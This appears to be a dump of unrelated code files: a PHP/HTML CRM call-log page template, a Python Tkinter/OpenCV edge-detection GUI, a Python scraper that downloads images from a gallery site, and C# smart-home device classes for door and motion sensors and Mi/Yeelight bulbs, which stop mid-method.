<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="add-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Call</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold"
data-toggle="tab">Basic Info</a></li>
<li><a href="#tab2" class="font-weight-bold" data-toggle="tab">Timing</a>
</li>
<li><a href="#tab3" class="font-weight-bold"
data-toggle="tab">Relation</a>
</li>
<li><a href="#tab4" class="font-weight-bold"
data-toggle="tab">Result</a>
</li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Topic :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Owner :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control custom-select" data-placeholder="">
<option value="1">Chuck Testa</option>
<option value="2">Sage Cattabriga-Alosa</option>
<option value="3">Nikola Tesla</option>
<option value="4">Cattabriga-Alosa</option>
<option value="5">Nikola Alosa</option>
</select>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Contact :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control custom-select" data-placeholder="">
<option value="1">Chuck Testa</option>
<option value="2">Sage Cattabriga-Alosa</option>
<option value="3">Nikola Tesla</option>
<option value="4">Cattabriga-Alosa</option>
<option value="5"><NAME></option>
</select>
</div>
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
<div class="tab-pane" id="tab2">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Date">Date :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control required" id="Date" name="Date"
type="date">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="HoldDate">From Time :</label>
</div>
<div class="col-lg-9">
<div class="wd-150 mg-b-30">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-clock tx-16 lh-0 op-6"></i>
</div>
</div><!-- input-group-prepend -->
<input class="form-control" id="tpBasic"
placeholder="Set time" type="text">
</div>
</div><!-- wd-150 -->
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab3">
<div class="row ">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="relation">Related To :</label>
</div>
<div class="col-lg-9">
<!-- Accordion begin -->
<ul class="demo-accordion accordionjs m-0" data-active-index="false">
<!-- Section 1 -->
<li>
<div><h3 id="">Deal</h3></div>
<div>
<div class="form-group ">
<select class="form-control select2-show-search " id="relation" data-placeholder="Choose one">
<option value="p1">Deal 1</option>
<option value="p2">Deal 2</option>
<option value="p3">Deal 3</option>
</select>
</div>
</div>
</li>
<!-- Section 2 -->
<li>
<div><h3>Project</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
<!-- Section 3 -->
<li>
<div><h3>Organization</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab4">
<div class="form-group clearfix mt-3" >
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold"
for="HoldDate">Duration Time :</label>
</div>
<div class="col-lg-8">
<div class="wd-150 mg-b-30">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-clock tx-16 lh-0 op-6"></i>
</div>
</div><!-- input-group-prepend -->
<input class="form-control" id="tpBasic" placeholder="Set time" type="text">
</div>
</div><!-- wd-150 -->
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4">
<label class="form-label font-weight-bold">Result satisfaction track :</label>
</div>
<div class="col-lg-8">
<div class="form-group ">
<select class="form-control custom-select" data-placeholder="">
<option value=""></option>
</select>
</div>
</div>
</div>
<div class="row mb-3">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Result Descriptions :</label>
</div>
<div class="col-lg-8">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<div class="dropdown">
<button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown">
<i class="fas fa-check mr-2 text-white"></i>Save
</button>
<div class="dropdown-menu">
<a class="dropdown-item" href="javascript:void(0)">Save</a>
<a class="dropdown-item" href="javascript:void(0)" data-toggle="modal" data-target="#done">Save
& Done</a>
<a class="dropdown-item" href="javascript:void(0)">Save & Scheduling</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Call</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-1" class="active font-weight-bold"
data-toggle="tab">Basic Info</a></li>
<li><a href="#tab2-2" class="font-weight-bold"
data-toggle="tab">Timing</a>
</li>
<li><a href="#tab3-3" class="font-weight-bold"
data-toggle="tab">Relation</a>
</li>
<li><a href="#tab4-4" class="font-weight-bold"
data-toggle="tab">Result</a>
</li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-1">
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Topic :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Owner :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control custom-select"
data-placeholder="">
<option value="1">Chuck Testa</option>
<option value="2">Sage Cattabriga-Alosa</option>
<option value="3">Nikola Tesla</option>
<option value="4">Cattabriga-Alosa</option>
<option value="5">Nikola Alosa</option>
</select>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Contact :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control custom-select"
data-placeholder="">
<option value="1">Chuck Testa</option>
<option value="2">Sage Cattabriga-Alosa</option>
<option value="3">Nikola Tesla</option>
<option value="4">Cattabriga-Alosa</option>
<option value="5">Nikola Alosa</option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
<div class="tab-pane" id="tab2-2">
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Date">Date
:</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control required" id="Date"
name="Date"
type="date">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="HoldDate">From Time :</label>
</div>
<div class="col-lg-9">
<div class="wd-150 mg-b-30">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-clock tx-16 lh-0 op-6"></i>
</div>
</div><!-- input-group-prepend -->
<input class="form-control" id="tpBasic"
placeholder="Set time" type="text">
</div>
</div><!-- wd-150 -->
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab3-3">
<div class="row mt-3">
<div class="col-12">
<div class="form-group clearfix">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="relation">Related To :</label>
</div>
<div class="col-lg-9">
<!-- Accordion begin -->
<ul class="demo-accordion accordionjs m-0"
data-active-index="false">
<!-- Section 1 -->
<li>
<div><h3 id="">Deal</h3></div>
<div>
<div class="form-group ">
<select class="form-control select2-show-search "
id="relation"
data-placeholder="Choose one">
<option value="p1">Deal 1
</option>
<option value="p2">Deal 2
</option>
<option value="p3">Deal 3
</option>
</select>
</div>
</div>
</li>
<!-- Section 2 -->
<li>
<div><h3>Project</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
<!-- Section 3 -->
<li>
<div><h3>Organization</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab4-4">
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="HoldDate">Duration Time :</label>
</div>
<div class="col-lg-9">
<div class="wd-150 mg-b-30">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-clock tx-16 lh-0 op-6"></i>
</div>
</div><!-- input-group-prepend -->
<input class="form-control" id="tpBasic"
placeholder="Set time" type="text">
</div>
</div><!-- wd-150 -->
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label">Result satisfaction track :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control custom-select" data-placeholder="">
<option value=""></option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Result Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#done">
<i class="fas fa-check mr-2 text-white"></i>Done
</button>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id="view-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-2">Call View</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card">
<div class="card-body table-responsive border-bottom-0 mb-5">
<table class="table card-table table-vcenter text-nowrap table-bordered">
<thead class="border-top">
<tr>
<td colspan="3">
<div class="border-bottom pb-2"><strong class="font-weight-bold">Date
:</strong> 25 December 2019 <br></div>
<div class="border-bottom pb-2 pt-2"><strong
class="font-weight-bold">Time :</strong> 09:49:20 PM
</div>
<div class="pt-2"><strong class="font-weight-bold">Call ID
:</strong> CID 2008201903
</div>
</td>
<td colspan="3" class="text-center font-weight-bold "><strong
class="font-weight-bold">Topic : </strong><br>Track equipment
transfer
</td>
</tr>
</thead>
<tbody>
<tr>
<th colspan="3" class="text-center font-weight-bold bg-primary">
<strong class="font-weight-bold">From</strong></th>
<th colspan="3" class="text-center font-weight-bold bg-primary">
<strong class="font-weight-bold">To</strong></th>
</tr>
<tr>
<td colspan="3" rowspan="4" class="text-center">
<div><span class="avatar avatar-xxl brround cover-image m-4" data-image-src="../assets/images/photos/pro1.jpg"></span>
</div>
<div class="font-weight-bold "><NAME></div>
<div><span class="font-weight-bold">Org Code :</span> EM 001233
</div>
<div><span class="font-weight-bold">Role : </span>TQM expert unit
</div>
<div class="mb-3"><span class="font-weight-bold">Branch :</span>
pasdaran
</div>
</td>
<td colspan="3" rowspan="4" class="text-center">
<div><span class="avatar avatar-xxl brround cover-image m-4"
data-image-src="../assets/images/photos/pro3.jpg"></span>
</div>
<div class="font-weight-bold "> <NAME></div>
<div><span class="font-weight-bold">Org code :</span> EM 0010506
</div>
<div><span class="font-weight-bold">Role :</span> driver</div>
<div class="mb-3"><span class="font-weight-bold">Inventory :</span>
pasdaran
</div>
</td>
</tr>
</tbody>
</table>
</div>
<div class="card-body table-responsive border-top-0 mb-5">
<table class="table card-table table-vcenter text-nowrap table-bordered">
<tbody>
<tr>
<th colspan="2" class="text-center bg-primary font-weight-bold ">
<strong class="font-weight-bold">Call Info</strong></th>
<th colspan="4" class="text-center bg-primary font-weight-bold ">
<strong class="font-weight-bold">Description </strong></th>
</tr>
<tr>
<th class="bg-primary font-weight-bold ">Call method</th>
<td class="text-center">Skype</td>
<td rowspan="7" class="pb-0">
Lorem ipsum dolor sit amet, consectetur,<br>
sed do eiusmod tempor incididunt ut labore<br>
et dolore magna aliqua. Ut enim ad minim<br>
veniam, quis nostrud exercitation ullamco<br>
laboris nisi ut aliquip ex ea desta.
</td>
</tr>
<tr>
<th class="bg-primary font-weight-bold ">Duration time</th>
<td class="text-center">00:04:30</td>
</tr>
<tr>
<th class="bg-primary font-weight-bold ">Satisfaction Track</th>
<td class="text-center">Positive</td>
</tr>
<tr>
<th class="bg-primary font-weight-bold ">Related To</th>
<td class="text-center">Project F 34500</td>
</tr>
<tr>
<th class="bg-primary font-weight-bold ">Milestone</th>
<td class="text-center">F 34500 design</td>
</tr>
<tr>
<th class="bg-primary font-weight-bold ">Task</th>
<td class="text-center">TK 1256</td>
</tr>
<tr>
<th class="bg-primary font-weight-bold ">Meeting</th>
<td class="text-center"> -</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" data-dismiss="modal" class="btn btn-dark"><i
class="fas fa-check"></i> Ok
</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="done" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-2">Result</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="HoldDate">Duration Time :</label>
</div>
<div class="col-lg-9">
<div class="wd-150 mg-b-30">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-clock tx-16 lh-0 op-6"></i>
</div>
</div><!-- input-group-prepend -->
<input class="form-control" id="tpBasic"
placeholder="Set time" type="text">
</div>
</div><!-- wd-150 -->
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label">Result satisfaction track :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control custom-select" data-placeholder="">
<option value=""></option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Result Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<div class="dropdown">
<button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown">
<i class="fas fa-check mr-2 text-white"></i>Save
</button>
<div class="dropdown-menu">
<a class="dropdown-item" href="javascript:void(0)">Save</a>
<a class="dropdown-item" href="javascript:void(0)" data-toggle="modal" data-target="#done">Save
& Add Task</a>
<a class="dropdown-item" href="javascript:void(0)">Save & Add Deal</a>
<a class="dropdown-item" href="javascript:void(0)">Save & Add Meeting</a>
<a class="dropdown-item" href="javascript:void(0)">Save & Add Call</a>
</div>
</div>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
];
?> | 143f573b4c3ace51851d9ede74497e914ba8bc19 | [
"JavaScript",
"PHP"
] | 32 | PHP | maticangroup/general-erp-front-end | e3506e256464ccf701c9d03d79d06cc0c18c20d3 | 0857ab4b98ef217544b301d706f0ccd9c0b828f6 |
refs/heads/master | <repo_name>RainingOnBothTheRain/Python<file_sep>/Geometry edge detection/几何图形边缘检测.py
#2020.02.24日 2020.02.25日修改,加入显示选中后的图片,但无法清除该位置,永远停留
#imread读取中文路径报错,PhotoImage()只能读取png文件
#
#要运行该程序首先要安装opencv库
################################################################################
#import S
#导入tk库用于建立tk界面
import tkinter as tk
from tkinter import filedialog
from tkinter import *
global Filepath
global frame1
global photo1,w_box,h_box
#导入opencv库使用识别算法
import cv2
import numpy as np
import io
from PIL import Image, ImageTk
###########################图片缩放函数#####################################
def resize(w, h, w_box, h_box, pil_image):
'''
对一个pil_image对象进行缩放,让它在一个矩形框内,还能保持比例
'''
f1 = 1.0*w_box/w # 1.0 forces float division in Python2
f2 = 1.0*h_box/h
factor = min([f1, f2])
#print(f1, f2, factor) # test
# use best down-sizing filter
width = int(w*factor)
height = int(h*factor)
return pil_image.resize((width, height), Image.ANTIALIAS)
###########################################################################
##########################用文件管理器选择文件###############################
def callback():
'''打开选择文件夹对话框'''
root = tk.Tk()
root.withdraw()
global Filepath
global frame1
global photo1,w_box,h_box
#Folderpath = filedialog.askdirectory()#获得选择的文件夹路径
Filepath = filedialog.askopenfilename()#获得选择的文件路径,不可有中文
#print('Folderpath:',Folderpath)
var.set(Filepath) #在界面左侧显示文件路径
#显示选中的文件
#=====================为图像缩放做准备====================================#
#期望图像显示的大小
w_box = 300
h_box = 300
#以一个PIL图像对象打开
pil_image = Image.open(Filepath)
#获取图像的原始大小
w, h = pil_image.size
#缩放图像让它保持比例,同时限制在一个矩形框范围内
pil_image_resized = resize(w, h, w_box, h_box, pil_image)
#把PIL图像对象转变为Tkinter的PhotoImage对象
photo1 = ImageTk.PhotoImage(pil_image_resized)
#=========================================================================#
#photo1 = PhotoImage(file=Filepath)
imgLabel = Label(frame1, image=photo1,width=w_box,height=h_box) #将photo1设置为全局变量才能在函数中显示图片
imgLabel.pack(side=RIGHT)
############################################################################
###################canny算子检测#####################################
def callback2():
global Filepath #使用全局路径,注意:千万不能有中文路径,否则报错!
img = cv2.imread(Filepath, 0)
cv2.imwrite("canny.jpg", cv2.Canny(img, 200, 300))
pi=cv2.Canny(img, 200, 300)
cv2.imshow("Canny",cv2.imread("canny.jpg"))
var.set('已完成Canny边缘检测')
#cv2.waitKey()
#cv2.destroyAllWindows()
#####################################################################
###################sobel算子检测#####################################
def callback3():
global Filepath #注意:千万不能有中文路径,否则报错!
source = cv2.imread(Filepath)
source = cv2.cvtColor(source,cv2.COLOR_BGR2GRAY)
#sobel_x:发现垂直边缘
sobel_x =cv2.Sobel(source,cv2.CV_64F,1,0)
#sobel_y:发现水平边缘
sobel_y = cv2.Sobel(source,cv2.CV_64F,0,1)
sobel_x = np.uint8(np.absolute(sobel_x))
sobel_y = np.uint8(np.absolute(sobel_y))
np.set_printoptions(threshold=np.inf)
sobelCombined = cv2.bitwise_or(sobel_x, sobel_y)#按位或
sum = sobel_x+sobel_y
cv2.imshow('sobel_x',sobel_x)
cv2.imshow('sobel_y',sobel_y)
cv2.imshow('sobel_combined',sobelCombined)
cv2.imshow('sum',sum)
var.set('已完成Sobel边缘检测')
#cv2.imwrite('sobel_x.jpg',sobel_x)
#cv2.imwrite('sobel_y.jpg',sobel_y)
#cv2.imwrite('sobel_combined.jpg',sobelCombined)
#cv2.imwrite('sum.jpg',sum)
######################################################################
###################自编算法检测(完善中)#############################
#def callback4():
#调用另一个py文件的功能
# global Filepath
#S.ShapeRecognition('D:/1.png')
# src = cv2.imread('D:/1.png')
# ld=S.ShapeAnalysis()
# ld.S.analysis(src)
######################################################################
root = Tk() #将tk库赋值给句柄
root.title('基于python的几何图形边缘检测')#界面主标题
#Frame 框架控件;在屏幕上显示一个矩形区域,多用来作为容器
frame1 = Frame(root)#主界面区域
frame2 = Frame(root)#按钮区域
var = StringVar() #设置字符串
var.set("组长:李玉林 组员:冯烽 赵凌云 王鹏\n")
photo = PhotoImage(file="20.png") #只能读取png图片
textLabel = Label(frame1,
textvariable = var,
justify = LEFT)
textLabel.pack(side=LEFT)
imgLabel = Label(frame1, image=photo)
imgLabel.pack(side=RIGHT)
#定义按钮,两种不同的按钮定义方式。
theButton = Button(frame2,text="选择一张图片",command=callback)
theButton2 = Button(frame2,text="Canny算子检测",bg='blue',fg='black',command=callback2)
theButton.pack()
theButton2.pack()
Button(frame2,text='sobel算子检测',bg='blue',fg='black',command=callback3).pack()
Button(frame2,text='自编算法检测').pack()
#定义位置
frame1.pack(padx=100, pady=100) #主界面位置
frame2.pack(padx=100, pady=100) #按钮位置
mainloop()
<file_sep>/The crawler/爬取网图/爬取网图.py
#2020.04.06 着手学习网络爬虫 参考B站收藏
import requests #需要使用pip安装该库
import re #正则表达式 用以匹配网站
import time #延时
import os #判断系统文件夹下是否存在某文件夹
#请求网页
#直接用网页上的uagent即可反爬
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
#该网站具有反爬功能,得手动添加头,不让其知道是爬虫.若不具备反爬,则不需要添加headers
response=requests.get('https://www.vmgirls.com/13679.html',headers=headers)
print(response.request.headers)
#print(response.text)
html=response.text
#解析网页,在html中进行匹配。此处在需要爬取的网页中右键检查,即可查看到命名及匹配图片数据的代码,编写规则即可
#保存进文件夹中,利用网站上给的图片标题命名
dir_name=re.findall('<h1 class="post-title h3">(.*?)</h1>',html)[-1]
if not os.path.exists(dir_name):
os.mkdir(dir_name)
#使用正则表达式 匹配具备该规则的图片
urls = re.findall('<a href="(.*?)" alt=".*?" title=".*?">',html)
#print(urls)
#保存图片,先请求图片
for url in urls:
time.sleep(1)
#图片名字 取网站图片的名字,表示取倒数第一个命名
filename=url.split('/')[-1]
response=requests.get(url,headers=headers)
with open (dir_name+'/'+filename,'wb') as f:
f.write(response.content) #写入图片
| f6ecd3f6328239625d8a65bcd32171dfa483f54b | [
"Python"
] | 2 | Python | RainingOnBothTheRain/Python | 23046dc2cfd54bef5a0f164549eeaeae617b57bf | 49e1ed7aa6f25c0f20db004edf9bbe574cb28a53 |
refs/heads/master | <repo_name>ermac0/mi-home<file_sep>/PlanckHome/IDoorSensor.cs
using System;
namespace PlanckHome
{
public interface IDoorSensor
{
event EventHandler Opened;
event EventHandler Closed;
}
}<file_sep>/MiLight/MiLight/MiBulb.cs
using PlanckHome;
namespace MiLight
{
public class MiBulb : IDimmableLightBulb
{
private readonly MiLightGateway mGateway;
private readonly int mGroup;
public MiBulb(MiLightGateway gateway, int group)
{
mGateway = gateway;
mGroup = @group;
}
public bool IsOn { get; private set; }
public void SwitchOn()
{
mGateway.RGBW.SwitchOn(mGroup);
}
public void SwitchOff()
{
mGateway.RGBW.SwitchOff(mGroup);
}
public void Toggle()
{
if (IsOn)
{
SwitchOff();
}
else
{
SwitchOn();
}
IsOn = !IsOn;
}
public void SetBrightness(int percentage)
{
mGateway.RGBW.SetBrightness(mGroup, percentage);
}
}
}<file_sep>/Playground/Rooms/Bathroom.cs
using PlanckHome;
namespace Playground.Rooms
{
public static class Bathroom
{
public static ILightBulb Light => Devices.LightHallway;
//public static ISwitch LightSwitch { get; }
public static IMotionSensor MotionSensor => Devices.MotionBathroom;
public static IDoorSensor Door => Devices.DoorBathroom;
}
}<file_sep>/PlanckHome/IMotionSensor.cs
using System;
namespace PlanckHome
{
public interface IMotionSensor
{
event EventHandler MotionDetected;
}
}<file_sep>/YeeLight/YeeLight/YeelightDevice.cs
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Text;
using PlanckHome;
namespace YeeLight
{
public class YeelightDevice : ILightBulb
{
private readonly TcpClient mTcpClient;
//Default port
private static int port = 55443;
public YeelightDevice(string ip, string id, bool state, int bright, string model)
{
Id = id;
Ip = ip;
State = state;
Brightness = bright;
Model = model;
mTcpClient = new TcpClient();
mTcpClient.Connect(new IPEndPoint(IPAddress.Parse(Ip), port));
}
public string Model { get; }
public string Ip { get; set; }
public string Id { get; set; }
public int Brightness { get; set; }
public bool State { get; set; }
public void Toggle()
{
StringBuilder cmd_str = new StringBuilder();
cmd_str.Append("{\"id\":");
cmd_str.Append(Id);
cmd_str.Append(",\"method\":\"toggle\",\"params\":[]}\r\n");
byte[] data = Encoding.ASCII.GetBytes(cmd_str.ToString());
